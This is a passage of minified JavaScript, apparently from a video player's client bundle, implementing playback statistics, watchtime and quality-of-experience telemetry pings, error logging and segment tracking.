x.jY&&g.ky(x,T,"bat",[x.jY.level,x.jY.charging?"1":"0"]);H=x.provider.Em.getVisibilityState();x.FD!==H&&(g.ky(x,T,"vis",[H]),x.FD=H);b03(x,T);(H=rsH(x.provider))&&H!==x.Zk&&(g.ky(x,T,"conn",[H]),x.Zk=H);zaf(x,T,t)};
zaf=function(x,T,t){if(!isNaN(t.g$)){var u=t.g$;t.Z<u&&(u=t.Z);g.ky(x,T,"bh",[u.toFixed(3)])}};
kI4=function(x,T,t){g.sP(x.provider.Cf,g.Cm(x.provider.videoData)).then(function(u){var H=!1;if(T.includes("&dt=")||T.includes("&cotn=")){if(x.provider.Cf.B("kevlar_woffle")||x.provider.Cf.B("qoe_nwl_downloads"))H=!0}else x.provider.Cf.B("qoe_with_networkless")&&(H=!0);var I=x.provider.Cf.B("qoe_send_and_write"),E=x.provider.Cf;u=mdH(T,E,x.provider.Cf.pageId,x.provider.Cf.sendVisitorIdHeader?x.provider.videoData.visitorData:void 0,u);E.B("html5_simplify_pings")&&(u=u||{});u?(u.method="POST",u.postBody=
t,dd3(T,u,{token:x.provider.videoData.D,kA:x.provider.videoData.Hh,mdxEnvironment:x.provider.videoData.mdxEnvironment},E,void 0,H,I&&x.Om)):H?(H=x.provider.Cf.B("networkless_ajax"),E={method:"POST",postBody:t},I&&x.Om?ff().sendAndWrite(T,E):H?g.Ur(T,{method:"POST",postBody:t}):ff().sendThenWrite(T,E)):(I=t,I=I===void 0?"":I,I2X(T,I)||g.Be(T,void 0,void 0,void 0,I))})};
FN3=function(x){for(var T=0,t=g.S(Object.keys(x.C)),u=t.next();!u.done;u=t.next())u=u.value,T+=u.length+Number(ka(x.C[u],function(H,I){return H+I.length},0));
T>96E3&&(new g.wX(x.reportStats,0,x)).start()};
haH=function(x){x.provider.videoData.C4&&vr(x,"prefetch");x.provider.videoData.L2&&x.kc("reload",{r:x.provider.videoData.reloadReason,ct:x.provider.videoData.L2});x.provider.videoData.SY&&vr(x,"monitor");x.provider.videoData.isLivePlayback&&vr(x,"live");KY&&vr(x,"streaming");x.provider.videoData.xz&&x.kc("ctrl",{mode:x.provider.videoData.xz},!0);if(x.provider.videoData.pU){var T=x.provider.videoData.pU.replace(/,/g,"_");x.kc("ytp",{type:T},!0)}x.provider.videoData.rO&&(T=x.provider.videoData.rO.replace(/,/g,
"."),x.kc("ytrexp",{ids:T},!0));var t=x.provider.videoData;T=x.provider.Cf.B("enable_white_noise")||x.provider.Cf.B("enable_webgl_noop");t=g.mE(t)||g.k7(t)||g.FU(t)||g.hB(t);(T||t)&&(T=(0,g.Vn)())&&(x.C.gpu=[T]);OD(x.provider.videoData)&&g.ky(x,g.Uw(x.provider),"dt",["1"]);x.provider.Cf.AM()&&(T=(0,g.bo)()-x.provider.Cf.F3,x.kc("playerage",{secs:Math.pow(1.6,Math.round(Math.log(T/1E3)/Math.log(1.6))).toFixed()}));x.j=!0;x.D=g.mF(function(){x.reportStats()},1E4)};
Vnf=function(x,T,t){var u=g.Uw(x.provider);vAJ(x,u,T,0,t);hl(x,u);FN3(x)};
vAJ=function(x,T,t,u,H){var I=x.provider.Cf.C.cbrver;x.provider.Cf.C.cbr==="Chrome"&&/^96[.]/.test(I)&&t==="net.badstatus"&&/rc\.500/.test(H)&&GIV(x,3);x.provider.Cf.B("html5_use_ump")&&/b248180278/.test(H)&&GIV(x,4);I=x.provider.getCurrentTime(x.adCpn||x.provider.videoData.clientPlaybackNonce);u=u===1?"fatal":"";t=[t,u,I.toFixed(3)];u&&(H+=";a6s."+iD());H&&t.push(LNV(H));g.ky(x,T,"error",t);x.j=!0};
nA3=function(x){x.Z>=0||(x.provider.Cf.cS||x.provider.Em.getVisibilityState()!==3?x.Z=g.Uw(x.provider):x.mu=!0)};
aOC=function(x,T,t,u){if(t!==x.Zx){T<x.T||(x.Zx==="PL"?x.playTimeSecs+=T-x.T:x.Zx==="B"&&x.isBuffering&&(x.isBuffering=!1,x.rebufferTimeSecs+=T-x.hM,!x.Cz&&x.rebufferTimeSecs>=10&&x.playTimeSecs<=180&&(x.C.qoealert=["1"],x.Cz=!0)),t!=="B"||x.Zx!=="PL"&&x.Zx!=="PB"||(x.isBuffering=!0),x.T=T);x.Zx==="PL"&&(t==="B"||t==="S")||x.provider.Cf.AM()?hl(x,T):(x.Lz||t!=="PL"||(x.Lz=!0,zaf(x,T,x.provider.Em.Zh())),b03(x,T));t==="PL"&&g.Kt(x.Jq);var H=[t];t==="S"&&u&&H.push("ss."+u);g.ky(x,T,"vps",H);x.Zx=t;
x.hM=T;x.T=T;x.j=!0}};
vr=function(x,T){var t=x.C.cat||[];t.push(T);x.C.cat=t};
GL=function(x,T,t,u,H,I){var E=g.Uw(x.provider);t!==1&&t!==3&&t!==5||g.ky(x,E,"vps",[x.Zx]);var Z=x.C.xvt||[];Z.push("t."+E.toFixed(3)+";m."+I.toFixed(3)+";g."+T+";tt."+t+";np.0;c."+u+";d."+H);x.C.xvt=Z};
GIV=function(x,T){if(!x.Ee){var t=x.C.fcnz;t||(t=[],x.C.fcnz=t);t.push(String(T));x.Ee=!0}};
LNV=function(x){/[^a-zA-Z0-9;.!_-]/.test(x)&&(x=x.replace(/[+]/g,"-").replace(/[^a-zA-Z0-9;.!_-]/g,"_"));return x};
gAf=function(x){this.provider=x;this.N=!1;this.C=0;this.K=-1;this.W$=NaN;this.j=0;this.segments=[];this.D=this.T=0;this.previouslyEnded=!1;this.S=this.provider.Em.getVolume();this.J=this.provider.Em.isMuted()?1:0;this.Z=L8(this.provider)};
n8=function(x){x.Z.startTime=x.j;x.Z.endTime=x.C;var T=!1;x.segments.length&&g.Q3(x.segments).isEmpty()?(x.segments[x.segments.length-1].previouslyEnded&&(x.Z.previouslyEnded=!0),x.segments[x.segments.length-1]=x.Z,T=!0):x.segments.length&&x.Z.isEmpty()||(x.segments.push(x.Z),T=!0);T?x.Z.endTime===0&&(x.previouslyEnded=!1):x.Z.previouslyEnded&&(x.previouslyEnded=!0);x.T+=x.C-x.j;x.Z=L8(x.provider);x.Z.previouslyEnded=x.previouslyEnded;x.previouslyEnded=!1;x.j=x.C};
WNm=function(x){BB4(x);x.D=g.mF(function(){x.update()},100);
x.W$=g.Uw(x.provider);x.Z=L8(x.provider)};
BB4=function(x){g.M2(x.D);x.D=NaN};
Dd3=function(x,T,t){t-=x.W$;return T===x.C&&t>.5};
ys3=function(x,T,t,u){this.Cf=T;this.kP=t;this.segments=[];this.experimentIds=[];this.AQ=this.hM=this.isFinal=this.delayThresholdMet=this.Lz=this.FD=this.autoplay=this.autonav=!1;this.Zk="yt";this.D=[];this.N=this.S=null;this.sendVisitorIdHeader=this.mu=!1;this.J=this.pageId="";this.T=t==="watchtime";this.j=t==="playback";this.uG=t==="atr";this.cS=t==="engage";this.sendVisitorIdHeader=!1;this.uri=this.uG?"/api/stats/"+t:"//"+T.TP+"/api/stats/"+t;u&&(this.hM=u.fs,u.rtn&&(this.N=u.rtn),this.T?(this.playerState=
u.state,u.rti>0&&(this.S=u.rti)):(this.qz=u.mos,this.pF=u.volume,u.at&&(this.adType=u.at)),u.autonav&&(this.autonav=u.autonav),u.inview!=null&&(this.rp=u.inview),u.size&&(this.L2=u.size),u.playerwidth&&(this.playerWidth=u.playerwidth),u.playerheight&&(this.playerHeight=u.playerheight));this.L4=g.hq(T.C);this.J=XT(T.experiments,"html5_log_vss_extra_lr_cparams_freq");if(this.J==="all"||this.J==="once")this.ra=g.hq(T.kP);this.hR=T.tQ;this.experimentIds=cHJ(T.experiments);this.G9=T.ra;this.Zk=T.ZZ;this.region=
T.region;this.userAge=T.userAge;this.SY=T.zc;this.RW=bH();this.sendVisitorIdHeader=T.sendVisitorIdHeader;this.Hv=T.B("vss_pings_using_networkless")||T.B("kevlar_woffle");this.F3=T.B("vss_final_ping_send_and_write");this.Om=T.B("vss_use_send_and_write");this.pageId=T.pageId;this.Nz=T.B("vss_playback_use_send_and_write");T.livingRoomAppMode&&(this.livingRoomAppMode=T.livingRoomAppMode);this.dN=T.K&&T.B("embeds_append_synth_ch_headers");g.zw(T)&&(this.QU=T.Hv);g.Ix(g.aQ(T))&&this.D.push(1);this.accessToken=
g.Cm(x);x.Fe[this.kP]?this.K=x.Fe[this.kP]:x.Fe.playback&&(this.K=x.Fe.playback);this.adFormat=x.adFormat;this.adQueryId=x.adQueryId;this.autoplay=JB(x);this.j&&(this.FD=(x.B("html5_enable_log_server_autoplay")||x.B("enable_cleanup_masthead_autoplay_hack_fix"))&&x.MK&&WV(x)==="adunit"?!0:!1);this.autonav=x.isAutonav||this.autonav;this.contentVideoId=ys(x);this.clientPlaybackNonce=x.clientPlaybackNonce;this.Lz=x.E0;x.D&&(this.ZZ=x.D,this.Cz=x.Hh);x.mdxEnvironment&&(this.mdxEnvironment=x.mdxEnvironment);
this.C=x.AQ;this.tM=x.tM;x.Z&&(this.C4=x.Z.itag,x.K&&x.K.itag!==this.C4&&(this.Ee=x.K.itag));x.C&&jR(x.C)&&(this.offlineDownloadUserChoice="1");this.eventLabel=WV(x);this.AQ=x.hR?!1:x.cS;this.VI=x.OC;if(T=PV(x))this.mY=T;this.tR=x.WV;this.partnerId=x.partnerId;this.eventId=x.eventId;this.playlistId=x.sP||x.playlistId;this.xB=x.xB;this.xz=x.xz;this.pU=x.pU;this.s$=x.s$;this.subscribed=x.subscribed;this.videoId=x.videoId;this.videoMetadata=x.videoMetadata;this.visitorData=x.visitorData;this.osid=x.osid;
this.I$=x.I$;this.referrer=x.referrer;this.z5=x.bP||x.z5;this.tQ=x.pk;this.ya=x.ya;this.userGenderAge=x.userGenderAge;this.d$=x.d$;this.embedsRct=x.embedsRct;this.embedsRctn=x.embedsRctn;g.zw(this.Cf)&&x.mutedAutoplay&&(x.mutedAutoplayDurationMode===2&&x.limitedPlaybackDurationInSeconds===0&&x.endSeconds===0?this.D.push(7):this.D.push(2));x.isEmbedsShortsMode(new g.lu(this.playerWidth,this.playerHeight),!!this.playlistId)&&this.D.push(3);g.tW(x)&&this.D.push(4);this.nf=x.vO;x.compositeLiveIngestionOffsetToken&&
(this.compositeLiveIngestionOffsetToken=x.compositeLiveIngestionOffsetToken)};
NBD=function(x,T){var t=x.sendVisitorIdHeader?x.visitorData:void 0;return g.sP(x.Cf,x.accessToken).then(function(u){return mdH(x.uri,x.Cf,x.pageId,t,u,T,x.dN)})};
QD3=function(x,T){return function(){x.Cf.B("html5_simplify_pings")?(x.C=x.hQ,x.Jq=T(),x.RW=0,x.send()):NBD(x).then(function(t){var u=JsJ(x);u.cmt=u.len;u.lact="0";var H=T().toFixed(3);u.rt=Number(H).toString();u=g.NY(x.uri,u);x.Cf.B("vss_through_gel_double")&&CEv(u);x.Hv?(t==null&&(t={}),x.Om?ff().sendAndWrite(u,t):ff().sendThenWrite(u,t)):t?g.Ur(u,t):g.Be(u)})}};
JsJ=function(x){var T={ns:x.Zk,el:x.eventLabel,cpn:x.clientPlaybackNonce,ver:2,cmt:x.Z(x.C),fmt:x.C4,fs:x.hM?"1":"0",rt:x.Z(x.Jq),adformat:x.adFormat,content_v:x.contentVideoId,euri:x.hR,lact:x.RW,live:x.mY,cl:(730664130).toString(),mos:x.qz,state:x.playerState,volume:x.pF};x.subscribed&&(T.subscribed="1");Object.assign(T,x.L4);x.J==="all"?Object.assign(T,x.ra):x.J==="once"&&x.j&&Object.assign(T,x.ra);x.autoplay&&(T.autoplay="1");x.FD&&(T.sautoplay="1");x.Lz&&(T.dni="1");!x.T&&x.QU&&(T.epm=pjX[x.QU]);
x.isFinal&&(T["final"]="1");x.AQ&&(T.splay="1");x.tM&&(T.delay=x.tM);x.G9&&(T.hl=x.G9);x.region&&(T.cr=x.region);x.userGenderAge&&(T.uga=x.userGenderAge);x.userAge!==void 0&&x.SY&&(T.uga=x.SY+x.userAge);x.hQ!==void 0&&(T.len=x.Z(x.hQ));!x.T&&x.experimentIds.length>0&&(T.fexp=x.experimentIds.toString());x.N!==null&&(T.rtn=x.Z(x.N));x.z5&&(T.feature=x.z5);x.xz&&(T.ctrl=x.xz);x.pU&&(T.ytr=x.pU);x.Ee&&(T.afmt=x.Ee);x.offlineDownloadUserChoice&&(T.ODUC=x.offlineDownloadUserChoice);x.Ym&&(T.lio=x.Z(x.Ym));
x.T?(T.idpj=x.VI,T.ldpj=x.tR,x.delayThresholdMet&&(T.dtm="1"),x.S!=null&&(T.rti=x.Z(x.S)),x.d$&&(T.ald=x.d$),x.compositeLiveIngestionOffsetToken&&(T.clio=x.compositeLiveIngestionOffsetToken)):x.adType!==void 0&&(T.at=x.adType);x.L2&&(x.j||x.T)&&(T.size=x.L2);x.j&&x.D.length&&(T.pbstyle=x.D.join(","));x.rp!=null&&(x.j||x.T)&&(T.inview=x.Z(x.rp));x.T&&(T.volume=a1(x,g.r7(x.segments,function(u){return u.volume})),T.st=a1(x,g.r7(x.segments,function(u){return u.startTime})),T.et=a1(x,g.r7(x.segments,function(u){return u.endTime})),
h2(x.segments,function(u){return u.playbackRate!==1})&&(T.rate=a1(x,g.r7(x.segments,function(u){return u.playbackRate}))),h2(x.segments,function(u){return u.C!=="-"})&&(T.als=g.r7(x.segments,function(u){return u.C}).join(",")),h2(x.segments,function(u){return u.previouslyEnded})&&(T.pe=g.r7(x.segments,function(u){return""+ +u.previouslyEnded}).join(",")));
T.muted=a1(x,g.r7(x.segments,function(u){return u.muted?1:0}));
h2(x.segments,function(u){return u.visibilityState!==0})&&(T.vis=a1(x,g.r7(x.segments,function(u){return u.visibilityState})));
h2(x.segments,function(u){return u.connectionType!==0})&&(T.conn=a1(x,g.r7(x.segments,function(u){return u.connectionType})));
h2(x.segments,function(u){return u.Z!==0})&&(T.blo=a1(x,g.r7(x.segments,function(u){return u.Z})));
h2(x.segments,function(u){return!!u.j})&&(T.blo=g.r7(x.segments,function(u){return u.j}).join(","));
h2(x.segments,function(u){return!!u.compositeLiveStatusToken})&&(T.cbs=g.r7(x.segments,function(u){return u.compositeLiveStatusToken}).join(","));
h2(x.segments,function(u){return u.K!=="-"})&&(T.cc=g.r7(x.segments,function(u){return u.K}).join(","));
h2(x.segments,function(u){return u.clipId!=="-"})&&(T.clipid=g.r7(x.segments,function(u){return u.clipId}).join(","));
if(h2(x.segments,function(u){return!!u.audioId})){var t="au";
x.j&&(t="au_d");T[t]=g.r7(x.segments,function(u){return u.audioId}).join(",")}iP()&&x.ZZ&&(T.ctt=x.ZZ,T.cttype=x.Cz,T.mdx_environment=x.mdxEnvironment);
x.cS&&(T.etype=x.jY!==void 0?x.jY:0);x.tQ&&(T.uoo=x.tQ);x.livingRoomAppMode&&x.livingRoomAppMode!=="LIVING_ROOM_APP_MODE_UNSPECIFIED"&&(T.clram=O0f[x.livingRoomAppMode]||x.livingRoomAppMode);x.K?fOq(x,T):(T.docid=x.videoId,T.referrer=x.referrer,T.ei=x.eventId,T.of=x.I$,T.osid=x.osid,T.vm=x.videoMetadata,x.adQueryId&&(T.aqi=x.adQueryId),x.autonav&&(T.autonav="1"),x.playlistId&&(T.list=x.playlistId),x.s$&&(T.ssrt="1"),x.ya&&(T.upt=x.ya));x.j&&(x.embedsRct&&(T.rct=x.embedsRct),x.embedsRctn&&(T.rctn=
x.embedsRctn),x.compositeLiveIngestionOffsetToken&&(T.clio=x.compositeLiveIngestionOffsetToken));x.nf&&(T.host_cpn=x.nf);return T};
fOq=function(x,T){if(T&&x.K){var t=new Set(["q","feature","mos"]),u=new Set("autoplay cl len fexp delay el ns adformat".split(" ")),H=new Set(["aqi","autonav","list","ssrt","upt"]);x.K.ns==="3pp"&&(T.ns="3pp");for(var I=g.S(Object.keys(x.K)),E=I.next();!E.done;E=I.next())E=E.value,u.has(E)||t.has(E)||H.has(E)&&!x.K[E]||(T[E]=x.K[E])}};
a1=function(x,T){return g.r7(T,x.Z).join(",")};
CEv=function(x){x.indexOf("watchtime")!==-1&&g.io("gelDebuggingEvent",{vss3debuggingEvent:{vss2Ping:x}})};
wjv=function(x,T){x.attestationResponse&&NBD(x).then(function(t){t=t||{};t.method="POST";t.postParams={atr:x.attestationResponse};x.Hv?x.Om?ff().sendAndWrite(T,t):ff().sendThenWrite(T,t):g.Ur(T,t)})};
gR=function(x){g.W.call(this);this.provider=x;this.D="paused";this.T=NaN;this.N=[10,10,10,40];this.S=this.J=0;this.jY=this.Hv=this.uG=this.ZZ=this.j=!1;this.Z=this.K=NaN;this.C=new gAf(x)};
TR4=function(x){if(!x.j){x.provider.videoData.k_===16623&&g.Vh(Error("Playback for EmbedPage"));var T=Br(x,"playback");a:{if(x.provider.Cf.B("web_player_use_server_vss_schedule")){var t,u=(t=x.provider.videoData.getPlayerResponse())==null?void 0:t.playbackTracking,H=u==null?void 0:u.videostatsScheduledFlushWalltimeSeconds;u=u==null?void 0:u.videostatsDefaultFlushIntervalSeconds;if(H&&H.length>0&&u){t=[];var I=x.provider.videoData.OC,E=x.provider.videoData.WV,Z=-I;H=g.S(H);for(var e=H.next();!e.done;e=
H.next())e=e.value,t.push(e-Z),Z=e;t.push(u+E-I);t.push(u);x.N=t;break a}}x.N=[10+x.provider.videoData.OC,10,10,40+x.provider.videoData.WV-x.provider.videoData.OC,40]}WNm(x.C);T.N=Wr(x);x.Z>0&&(T.C-=x.Z);T.send();x.provider.videoData.S$&&(T=x.provider.Cf,u=x.provider.videoData,t={html5:"1",video_id:u.videoId,cpn:u.clientPlaybackNonce,ei:u.eventId,ptk:u.S$,oid:u.Q5,ptchn:u.Ih,pltype:u.D1,content_v:ys(u)},u.D8&&Object.assign(t,{m:u.D8}),T=g.NY(T.lf+"ptracking",t),KN4(x,T));x.provider.videoData.tM||
(Xj3(x),x0V(x),x.G2());x.j=!0;x=x.C;x.C=x.provider.Em.G3();x.W$=g.Uw(x.provider);!(x.j===0&&x.C<5)&&x.C-x.j>2&&(x.j=x.C);x.N=!0}};
Wr=function(x,T){T=T===void 0?NaN:T;var t=g.Uw(x.provider);T=isNaN(T)?t:T;T=Math.ceil(T);var u=x.N[x.J];x.J+1<x.N.length&&x.J++;var H=T+u;x.T=g.lP(function(){if(!x.T9()){x.T=NaN;var I=oyD(x),E=thv(x,I);E.S=H;var Z=x.S>1E3;!(I.length>1)&&I[0].isEmpty()||Z||(E.N=Wr(x,H));E.send();x.S++}},(H-t)*1E3);
return x.K=H};
Di=function(x){g.d2(x.T);x.T=NaN};
oyD=function(x){x.C.update();x=x.C;x.segments.length&&x.C===x.j||n8(x);var T=x.segments;x.segments=[];return T};
Br=function(x,T){var t=s15(x.provider);Object.assign(t,{state:x.D});T=new ys3(x.provider.videoData,x.provider.Cf,T,t);T.C=x.provider.Em.G3();t=x.provider.videoData.clientPlaybackNonce;T.C=x.provider.Em.W3(t);x.provider.videoData.isLivePlayback||(T.hQ=x.provider.Em.getDuration(t));x.provider.videoData.C&&(t=x.provider.videoData.C.p4(T.C))&&(T.Ym=t-T.C);T.Jq=g.Uw(x.provider);T.segments=[L8(x.provider)];return T};
thv=function(x,T){var t=Br(x,"watchtime");ueV(x)&&(t.delayThresholdMet=!0,x.uG=!0);if(x.Z>0){for(var u=g.S(T),H=u.next();!H.done;H=u.next())H=H.value,H.startTime-=x.Z,H.endTime-=x.Z;t.C-=x.Z}else t.C=x.C.o6();t.segments=T;return t};
yn=function(x,T){var t=$0i(x,!isNaN(x.K));T&&(x.K=NaN);return t};
$0i=function(x,T){var t=thv(x,oyD(x));!isNaN(x.K)&&T&&(t.S=x.K);return t};
ueV=function(x){var T;if(T=x.provider.videoData.isLoaded()&&x.provider.videoData.tM&&x.j&&!x.uG)T=x.C,T=T.T+T.provider.Em.G3()-T.j>=x.provider.videoData.tM;return!!T};
Xj3=function(x){x.provider.videoData.youtubeRemarketingUrl&&!x.Hv&&(KN4(x,x.provider.videoData.youtubeRemarketingUrl),x.Hv=!0)};
x0V=function(x){x.provider.videoData.googleRemarketingUrl&&!x.jY&&(KN4(x,x.provider.videoData.googleRemarketingUrl),x.jY=!0)};
H85=function(x){if(!x.T9()&&x.j){x.D="paused";var T=yn(x);T.isFinal=!0;T.send();x.dispose()}};
i8m=function(x,T){if(!x.T9())if(g.p(T.state,2)||g.p(T.state,512)){if(x.D="paused",g.j1(T,2)||g.j1(T,512))g.j1(T,2)&&(x.C.previouslyEnded=!0),x.j&&(Di(x),yn(x).send(),x.K=NaN)}else if(g.p(T.state,8)){x.D="playing";var t=x.j&&isNaN(x.T)?Wr(x):NaN;!isNaN(t)&&(Zy(T,64)<0||Zy(T,512)<0)&&(x=$0i(x,!1),x.N=t,x.send())}else x.D="paused"};
Iii=function(x,T,t){if(!x.ZZ){t||(t=Br(x,"atr"));t.attestationResponse=T;try{t.send()}catch(u){if(u.message!=="Unknown Error")throw u;}x.ZZ=!0}};
KN4=function(x,T){var t=x.provider.Cf;g.sP(x.provider.Cf,g.Cm(x.provider.videoData)).then(function(u){var H=x.provider.Cf.pageId,I=x.provider.Cf.sendVisitorIdHeader?x.provider.videoData.visitorData:void 0,E=x.provider.Cf.B("vss_pings_using_networkless")||x.provider.Cf.B("kevlar_woffle"),Z=x.provider.Cf.B("allow_skip_networkless");u=mdH(T,t,H,I,u);dd3(T,u,{token:x.provider.videoData.D,kA:x.provider.videoData.Hh,mdxEnvironment:x.provider.videoData.mdxEnvironment},t,void 0,E&&!Z,!1,!0)})};
Eyq=function(){this.endTime=this.startTime=-1;this.K="-";this.playbackRate=1;this.visibilityState=0;this.audioId="";this.Z=0;this.compositeLiveStatusToken=this.j=void 0;this.volume=this.connectionType=0;this.muted=!1;this.C=this.clipId="-";this.previouslyEnded=!1};
N0=function(x,T,t){this.videoData=x;this.Cf=T;this.Em=t;this.C=void 0};
g.Uw=function(x){return qw4(x)()};
qw4=function(x){if(!x.C){var T=g.XD(function(u){var H=(0,g.bo)();u&&H<=631152E6&&(x.Em.kc("ytnerror",{issue:28799967,value:""+H}),H=(new Date).getTime()+2);return H},x.Cf.B("html5_validate_yt_now")),t=T();
x.C=function(){return Math.round(T()-t)/1E3};
x.Em.W2()}return x.C};
s15=function(x){var T=x.Em.HZ()||{};T.fs=x.Em.s9();T.volume=x.Em.getVolume();T.muted=x.Em.isMuted()?1:0;T.mos=T.muted;T.clipid=x.Em.Qr();var t;T.playerheight=((t=x.Em.getPlayerSize())==null?void 0:t.height)||0;var u;T.playerwidth=((u=x.Em.getPlayerSize())==null?void 0:u.width)||0;x=x.videoData;t={};x.Z&&(t.fmt=x.Z.itag,x.K&&(x.FD?x.K.itag!==x.Z.itag:x.K.itag!=x.Z.itag)&&(t.afmt=x.K.itag));t.ei=x.eventId;t.list=x.playlistId;t.cpn=x.clientPlaybackNonce;x.videoId&&(t.v=x.videoId);x.vD&&(t.infringe=1);
(x.hR?0:x.cS)&&(t.splay=1);(u=PV(x))&&(t.live=u);x.MK&&(t.sautoplay=1);x.VL&&(t.autoplay=1);x.xB&&(t.sdetail=x.xB);x.partnerId&&(t.partnerid=x.partnerId);x.osid&&(t.osid=x.osid);x.UA&&(t.cc=g.hPJ(x.UA));return Object.assign(T,t)};
rsH=function(x){var T=Erf();if(T)return Z8C[T]||Z8C.other;if(g.bS(x.Cf)){x=navigator.userAgent;if(/[Ww]ireless[)]/.test(x))return 3;if(/[Ww]ired[)]/.test(x))return 30}return 0};
L8=function(x){var T=new Eyq,t;T.K=((t=s15(x).cc)==null?void 0:t.toString())||"-";T.playbackRate=x.Em.getPlaybackRate();t=x.Em.getVisibilityState();t!==0&&(T.visibilityState=t);x.Cf.Cz&&(T.Z=1);T.j=x.videoData.tj;T.compositeLiveStatusToken=x.videoData.compositeLiveStatusToken;t=x.Em.getAudioTrack();t.S8&&t.S8.id&&t.S8.id!=="und"&&(T.audioId=t.S8.id);T.connectionType=rsH(x);T.volume=x.Em.getVolume();T.muted=x.Em.isMuted();T.clipId=x.Em.Qr()||"-";T.C=x.videoData.wk||"-";return T};
g.Jl=function(x,T){g.W.call(this);var t=this;this.provider=x;this.K=!1;this.j=new Map;this.Zx=new g.uZ;this.yF={tlZ:function(){return t.qoe},
jYZ:function(){return t.C},
hjf:function(){return t.Z}};
this.provider.videoData.eD()&&!this.provider.videoData.Hm&&(this.C=new gR(this.provider),this.C.Z=this.provider.videoData.VI/1E3,g.y(this,this.C),this.qoe=new g.Fe(this.provider,T),g.y(this,this.qoe),this.provider.videoData.enableServerStitchedDai&&(this.bq=this.provider.videoData.clientPlaybackNonce)&&this.j.set(this.bq,this.C));if(x.Cf.playerCanaryState==="canary"||x.Cf.playerCanaryState==="holdback")this.Z=new Yy(this.provider),g.y(this,this.Z)};
j1f=function(x){return!!x.C&&!!x.qoe};
C8=function(x){x.Z&&$dq(x.Z);x.qoe&&nA3(x.qoe)};
eDi=function(x){if(x.qoe){x=x.qoe;for(var T=x.provider.videoData,t=x.provider.Cf,u=g.S(t.T2),H=u.next();!H.done;H=u.next())vr(x,H.value);if(x.provider.B("html5_enable_qoe_cat_list"))for(u=g.S(T.Xe),H=u.next();!H.done;H=u.next())vr(x,H.value);else T.T2&&vr(x,x.provider.videoData.T2);T.B9()&&(u=T.C,ZF(T)&&vr(x,"manifestless"),u&&SP(u)&&vr(x,"live-segment-"+SP(u).toFixed(1)));$7(T)?vr(x,"sabr"):x.Gu(lv(T));if(Qs(T)||T.Ty())T.Ty()&&vr(x,"ssa"),vr(x,"lifa");T.gatewayExperimentGroup&&(u=T.gatewayExperimentGroup,
u==="EXPERIMENT_GROUP_SPIKY_AD_BREAK_EXPERIMENT"?u="spkadtrt":u==="EXPERIMENT_GROUP_SPIKY_AD_BREAK_CONTROL"&&(u="spkadctrl"),vr(x,u));t.ZZ!=="yt"&&(x.C.len=[T.lengthSeconds.toFixed(2)]);T.cotn&&!OD(T)&&x.pD(!0);t.AM()&&(T=YoV())&&x.kc("cblt",{m:T});if(t.B("html5_log_screen_diagonal")){t=x.kc;var I;T=((I=window.H5vccScreen)==null?0:I.GetDiagonal)?window.H5vccScreen.GetDiagonal():0;t.call(x,"cbltdiag",{v:T})}}};
liX=function(x){if(x.provider.Em.vS()){if(x.K)return;x.K=!0}x.C&&TR4(x.C);if(x.Z){x=x.Z;var T=g.Uw(x.provider);x.C<0&&(x.C=T,x.delay.start());x.Z=T;x.K=T}};
m0v=function(x,T){x.C&&(x=x.C,T===58?x.C.update():x.j&&(Di(x),yn(x).send(),x.K=NaN))};
d0i=function(x,T){if(g.j1(T,1024)||g.j1(T,512)||g.j1(T,4)){if(x.Z){var t=x.Z;t.Z>=0||(t.C=-1,t.delay.stop())}x.qoe&&(t=x.qoe,t.J||(t.Z=-1))}if(x.provider.videoData.enableServerStitchedDai&&x.bq){var u;(u=x.j.get(x.bq))==null||i8m(u,T)}else x.C&&i8m(x.C,T);if(x.qoe){u=x.qoe;t=T.state;var H=g.Uw(u.provider),I=u.getPlayerState(t);aOC(u,H,I,t.seekSource||void 0);I=t.Eo;g.p(t,128)&&I&&(I.VN=I.VN||"",vAJ(u,H,I.errorCode,I.Ik,I.VN));(g.p(t,2)||g.p(t,128))&&u.reportStats(H);t.isPlaying()&&!u.J&&(u.Z>=0&&
(u.C.user_intent=[u.Z.toString()]),u.J=!0);FN3(u)}x.Z&&(u=x.Z,H0f(u),u.playerState=T.state,u.Z>=0&&g.j1(T,16)&&u.seekCount++,T.state.isError()&&u.send());x.provider.Em.vS()&&(x.Zx=T.state)};
MhV=function(x){if(x.provider.videoData.enableServerStitchedDai&&x.bq){var T;(T=x.j.get(x.bq))!=null&&n8(T.C)}else x.C&&n8(x.C.C)};
AlX=function(x){x.Z&&x.Z.send();if(x.qoe){var T=x.qoe;if(T.j){T.Zx==="PL"&&(T.Zx="N");var t=g.Uw(T.provider);g.ky(T,t,"vps",[T.Zx]);T.J||(T.Z>=0&&(T.C.user_intent=[T.Z.toString()]),T.J=!0);T.provider.Cf.AM()&&T.kc("finalized",{});T.Om=!0;T.reportStats(t)}}if(x.provider.videoData.enableServerStitchedDai)for(T=g.S(x.j.values()),t=T.next();!t.done;t=T.next())H85(t.value);else x.C&&H85(x.C);x.dispose()};
RDJ=function(x,T){x.C&&Iii(x.C,T)};
P$V=function(x){if(!x.C)return null;var T=Br(x.C,"atr");return function(t){x.C&&Iii(x.C,t,T)}};
SwD=function(x,T,t,u){t.adFormat=t.Zk;var H=T.Em;T=new gR(new N0(t,T.Cf,{getDuration:function(){return t.lengthSeconds},
getCurrentTime:function(){return H.getCurrentTime()},
G3:function(){return H.G3()},
W3:function(){return H.W3()},
vS:function(){return H.vS()},
Zh:function(){return H.Zh()},
getPlayerSize:function(){return H.getPlayerSize()},
getAudioTrack:function(){return t.getAudioTrack()},
getPlaybackRate:function(){return H.getPlaybackRate()},
zS:function(){return H.zS()},
getVisibilityState:function(){return H.getVisibilityState()},
Vs:function(){return H.Vs()},
HZ:function(){return H.HZ()},
getVolume:function(){return H.getVolume()},
isMuted:function(){return H.isMuted()},
s9:function(){return H.s9()},
Qr:function(){return H.Qr()},
getProximaLatencyPreference:function(){return H.getProximaLatencyPreference()},
W2:function(){H.W2()},
kc:function(I,E){H.kc(I,E)},
tC:function(){return H.tC()}}));
T.Z=u;g.y(x,T);return T};
clJ=function(){this.g$=0;this.j=this.hj=this.DI=this.Z=NaN;this.C={};this.bandwidthEstimate=NaN};
Qn=function(x,T,t){g.W.call(this);var u=this;this.Cf=x;this.Em=T;this.Z=t;this.C=new Map;this.bq="";this.yF={iy:function(){return Array.from(u.C.keys())}}};
Ywf=function(x,T){x.C.has(T)&&(AlX(x.C.get(T)),x.C.delete(T))};
U0X=function(){this.C=g.uB;this.array=[]};
rlq=function(x,T,t){var u=[];for(T=b8i(x,T);T<x.array.length;++T){var H=x.array[T];(H.end<=t||H.contains(t))&&u.push(H);if(H.start>t)break}return u};
